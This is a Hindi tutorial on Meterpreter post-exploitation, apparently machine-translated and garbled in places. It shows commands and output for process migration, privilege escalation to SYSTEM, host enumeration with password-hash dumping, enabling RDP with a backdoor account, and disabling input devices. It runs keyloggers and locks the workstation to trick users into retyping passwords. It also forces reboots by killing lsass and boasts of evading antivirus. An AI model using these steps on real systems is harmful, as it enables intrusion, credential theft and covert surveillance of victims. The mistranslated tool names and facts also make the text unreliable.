मीटरपरेटर पेलोड का रहस्य

मीटपॉटर क्या है?

मीटरपाइटर एक उन्नत मल्टीफ़ंक्शनल फिलिंग (पेलोड) है, जिसे गतिशील रूप से रनटाइम पर विस्तारित किया जा सकता है। सामान्य परिस्थितियों में, इसका मतलब है कि यह आपको एक मूल शेल प्रदान करता है और आपको आवश्यकतानुसार इसमें नई सुविधाएँ जोड़ने की अनुमति देता है।

पहली, सबसे आम कार्रवाई प्रक्रिया में एक्सप्लोरर को पेश करना है। यह विकल्प माइग्रेट कमांड द्वारा प्रदान किया गया है:

meterpreter > migrate 1888 #1888 — PID , - ps
[*] Migrating to 1888...
[*] Migration completed successfully.

इसके अलावा, एक नियम के रूप में, सिस्टम विशेषाधिकारों के लिए विशेषाधिकार वृद्धि का प्रदर्शन किया जाता है। ऐसा करने के लिए, एक गेट सिस्टम कमांड है जो एक भेद्यता का उपयोग करता है जिसे विंडोज के सभी संस्करणों में संस्करण 3.1 से खोजा गया है:

meterpreter > getsystem
...got system (via technique 1).

जानकारी जुटाना

मशीन से कनेक्ट करने के बाद, अगला कदम, जानकारी एकत्र करना है, मीटरप्रेटर ने इस प्रक्रिया को सरल किया, जो कि विंडेन स्क्रिप्ट की उपस्थिति के लिए धन्यवाद है:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168..:1197...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine ........
[*] UAC is Disabled
[*] Running Command List ...
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands ....
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!

हमें पासवर्ड, सिस्टम सेटिंग्स, उपयोगकर्ताओं की एक सूची, और बहुत कुछ प्राप्त होता है।
एक और स्क्रिप्ट है जो अधिक व्यापक जानकारी एकत्र करती है, जिसमें सिस्टम रजिस्ट्री का एक डंप भी शामिल है, लेकिन कभी-कभी इसके साथ समस्याएं होती हैं, इसलिए मैं इसे नहीं दूंगा। इस लिपि को स्क्रेपर कहा जाता है।

रिमोट डेस्कटॉप

हमारे लिए दिलचस्प दूरस्थ डेस्कटॉप तक पहुंच प्राप्त करना है। आइए हम इस मुद्दे पर अधिक विस्तार से ध्यान दें, क्योंकि हमारे पास इसके लिए सभी साधन हैं। सभी कनेक्शन सेटिंग्स करने वाली स्क्रिप्ट को गेटगुई कहा जाता है। दूरस्थ मशीन पर RDP प्रोटोकॉल के उपयोग को सक्रिय करने के लिए, -e विकल्प का उपयोग किया जाता है:

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc

अगला, हमें एक नया उपयोगकर्ता जोड़ने की आवश्यकता है:

meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group ' '
[*] Adding User: NAME to local group ' '
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc

NAME का उपयोगकर्ता नाम कहां है, पासवर्ड पासवर्ड है।

खोल दो

यदि आपको दूरस्थ मशीन पर एक शेल प्राप्त करने की आवश्यकता है, तो उसी नाम का शेल कमांड निष्पादित किया जाता है। या मैन्युअल cmd चलाते हैं।

उपकरण संचालन

यदि आपको कीबोर्ड या माउस को निष्क्रिय करने की आवश्यकता है, तो uictl कमांड का उपयोग करें। यह निम्नलिखित मापदंडों को स्वीकार करता है:

uictl [enable/disable] [keyboard/mouse]

सक्षम - सक्षम; अक्षम - अक्षम।

meterpreter > uictl disable mouse #
Disabling mouse...
meterpreter > uictl enable mouse #
Enabling mouse...
meterpreter > uictl disable keyboard #
Disabling keyboard...
meterpreter > uictl enable keyboard #
Enabling keyboard...

keylogger

पहले से ही दो बिल्ट-इन कीलॉगर्स हैं। एक तो बस आदेशों का एक सेट है: keycan_start - एक keylogger को लॉन्च करता है; keyscan_dump - परिणाम प्रदर्शित करता है; keyscan_stop - keylogger को रोकता है।

एक स्क्रिप्ट भी है जिसे कीलोग्रेकॉर्डर कहते हैं। यह कीस्कैन की तुलना में अधिक कुशल है, और इसके अलावा, यह लॉग के लिए परिणाम लिखता है:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.._20111024.4455.txt #
[*] Recording

meterpreter > bgkill 2 #
[*] Killing background job 2...

गहरे लाल रंग का

मीटरपाइटर भी रूबी स्क्रिप्टिंग प्रदान करता है। उदाहरण के लिए, हम एक संदेश (MessageBox) के साथ एक विंडो प्रदर्शित कर सकते हैं या कार्य केंद्र को लॉक कर सकते हैं। ऐसा करने के लिए, आपको पहले रेलगन को जोड़ना होगा:

meterpreter > irb
> client.core.use(«railgun»)
=> true

फिर, कार्यस्थान लॉक करने के लिए:

> client.railgun.user32.LockWorkstation() #
=> {«GetLastError» => 0. «return» => true} #

यह अक्सर एक keylogger के साथ संयोजन में उपयोगकर्ता पासवर्ड प्राप्त करने के लिए उपयोग किया जाता है:

meterpreter > bgrun keylogrecorder #
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #
[*] Recording

meterpreter > irb
> client.core.use(«railgun») # railgun
=> true
> client.railgun.user32.LockWorkstation() #
=> {«GetLastError» => 0. «return» => true}

उपयोगकर्ता, विंडोज बग्गी का जिक्र करते हुए, पासवर्ड दर्ज करेगा, और हम इसे कीगलर लॉग में देखेंगे।

संदेश संवाद दिखाना भी सरल है:

> client.railgun.user32.MessageBoxA(0, « », «», «MB_OK»)

आप MSDN पर ऐसे संदेशों के आउटपुट के बारे में अधिक पढ़ सकते हैं।

एक और दिलचस्प स्क्रीनशॉट कमांड है। इसके साथ, आप रिमोट मशीन पर स्क्रीनशॉट ले सकते हैं। यदि आप लिनक्स के तहत काम कर रहे हैं, तो मेटास्प्लोइट को रूट के रूप में चलाया जाना चाहिए, क्योंकि स्क्रीनशॉट को एमएसएफ 3 फ़ोल्डर में सहेजा गया है।

यदि आपको मशीन को बंद करने या फिर से चालू करने की आवश्यकता है, तो उसी नाम के शटडाउन और रिबूट कमांड हैं। यदि शटडाउन या रिबूट काम नहीं करता है, तो ऐसा होता है, lsass.exe प्रक्रिया को मारें, फिर सिस्टम एक मिनट के बाद भी रीबूट करेगा:

meterpreter > kill 866 #866 — PID , ps,

आइए एक पल पर विचार करें। मैंने विभिन्न एंटीवायरस और फायरवॉल के साथ मशीनों पर मीटरप्रेटर का परीक्षण किया, विशेष रूप से आउटपोस्ट में, डॉ। वेब और केआईएस। एक पूर्ण जाँच की गई, सुरक्षा के तरीके बढ़ाए गए, लेकिन इसके बावजूद, मीटरपर भी किसी का ध्यान नहीं गया।

निष्कर्ष

मीटरपाइटर रिमोट कंट्रोल के लिए एक महान उपकरण है, जो बड़ी संख्या में अंतर्निहित उपकरणों के अलावा, कार्यक्षमता का विस्तार करने की क्षमता रखता है। इसी समय, यह सभी के लिए अधिकांश एंटीवायरस के लिए पूरी तरह से अदृश्य है (मैंने सब कुछ नहीं जांचा, मुझे नहीं पता)। बेशक, इसका पता लगाने के लिए अलग-अलग उपकरण हैं, उदाहरण के लिए, सिमेंटेक ने इसे जारी किया और आप इसे डाउनलोड कर सकते हैं, लेकिन अधिकांश आम उपयोगकर्ताओं को इस बारे में पता नहीं है कि मीटरप्रेटर क्या है और इससे क्या खतरा है, इसलिए, आईएमएचओ, वे इसकी पहचान के लिए एक अलग उत्पाद डाउनलोड नहीं करेंगे।